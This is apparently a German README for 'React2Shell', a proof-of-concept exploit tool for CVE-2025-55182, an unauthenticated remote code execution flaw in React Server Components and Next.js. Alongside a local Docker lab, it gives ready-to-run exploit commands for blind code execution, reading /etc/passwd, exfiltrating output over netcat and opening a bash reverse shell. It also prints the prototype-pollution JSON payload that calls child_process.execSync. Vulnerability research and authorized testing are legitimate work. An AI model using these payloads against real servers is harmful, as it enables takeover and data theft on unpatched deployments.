CVE-2025-55182 - React2Shell PoC

Ein Proof-of-Concept-Exploit für CVE-2025-55182, eine kritische (CVSS 10.0) Schwachstelle für nicht authentifizierte Remotecodeausführung in React Server Components.

Danksagung

Entdeckt von Lachlan Davidson – Dem Meta/React-Team am 29. November 2025 gemeldet.

Überblick über die Schwachstelle

Die Schwachstelle liegt in der Deserialisierungslogik des React-Flight-Protokolls. Durch das Senden einer schädlichen Nutzlast per HTTP-POST kann ein Angreifer eine Prototype-Pollution erreichen, die zur Ausführung beliebigen Codes auf dem Server führt.

Betroffene Versionen

Package	Verwundbare Versionen
react-server-dom-webpack	19.0.0, 19.1.0, 19.1.1, 19.2.0
react-server-dom-parcel	19.0.0, 19.1.0, 19.1.1, 19.2.0
react-server-dom-turbopack	19.0.0, 19.1.0, 19.1.1, 19.2.0
Next.js	15.0.4, 15.1.8, 15.2.5, 15.3.5, 15.4.7, 15.5.6, 16.0.6

Betroffene Frameworks

Next.js
React Router (mit RSC)
Waku
@parcel/rsc
@vitejs/plugin-rsc
rwsdk (Redwood)

Dateien

.
├── exploit.py           # exploit script
├── docker-compose.yml   # Vulnerable test environment
├── vulnerable-app/      # Vulnerable Next.js application
└── README.md

Schnellstart

1. Den verwundbaren Container starten

docker compose up -d

Dies startet eine verwundbare Next.js-Anwendung unter http://localhost:3000.

2. Prüfen, ob das Ziel verwundbar ist

python3 exploit.py -u http://localhost:3000 --check

Dies führt eine nicht ausnutzende Prüfung auf Indikatoren durch, einschließlich:

Framework-Erkennung (Next.js, Waku, React Router, etc.)
Flight-Protokoll-Marker
Server Actions
Versionserkennung

3. Exploit (Blinde Ausführung)

python3 exploit.py -u http://localhost:3000 -c "id"

Führt einen Befehl aus, ohne die Ausgabe anzuzeigen. Überprüfen mit:

4. Exploit mit Ausgabe-Exfiltration

python3 exploit.py -u http://localhost:3000 -c "id" --exfil <IP>:<PORT>

Ihre IP-Adresse; Port, auf dem gelauscht wird

Verwendung

usage: exploit.py [-h] -u URL [-c COMMAND] [--check] [--exfil HOST:PORT]
                  [--timeout TIMEOUT] [--no-verify]

options:
  -u, --url URL         Target URL
  -c, --command CMD     Command to execute
  --check               Check if vulnerable (non-exploitative)
  --exfil HOST:PORT     Exfiltrate output to HOST:PORT
  --timeout TIMEOUT     Request timeout (default: 10)
  --no-verify           Disable SSL verification

Beispiele

# Check vulnerability
python3 exploit.py -u http://localhost:3000 --check

# Blind RCE
python3 exploit.py -u http://localhost:3000 -c "touch /tmp/pwned"

# RCE with output
python3 exploit.py -u http://localhost:3000 -c "whoami" --exfil 172.17.0.1:9999

# Read files
python3 exploit.py -u http://localhost:3000 -c "cat /etc/passwd" --exfil 172.17.0.1:9999

# Reverse shell
python3 exploit.py -u http://localhost:3000 -c "bash -c 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1'"

Payload-Struktur

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\": \"$B0\"}",
  "_response": {
    "_prefix": "process.mainModule.require('child_process').execSync('id');",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

Exfiltration

Der Exploit beschädigt während der Ausführung den Serverstatus, wodurch die In-Band-Exfiltration der Antwort unzuverlässig wird. Das --exfil-Flag nutzt Out-of-Band-Exfiltration:

┌──────────┐  1. Malicious POST   ┌──────────┐
│ Attacker │ ──────────────────►  │  Server  │
└──────────┘                      └──────────┘
     ▲                                 │
     │  3. Command output              │ 2. RCE executes:
     │     via nc                      │    cmd | nc attacker port
     │                                 ▼
     └─────────────────────────────────┘

Bereinigung

docker compose down

Haftungsausschluss

Dieses Tool ist ausschließlich für autorisierte Sicherheitstests und Bildungszwecke bestimmt. Verwenden Sie es nur gegen Systeme, für die Sie eine Berechtigung zum Testen haben.

CVE-2025-55182

Beliebteste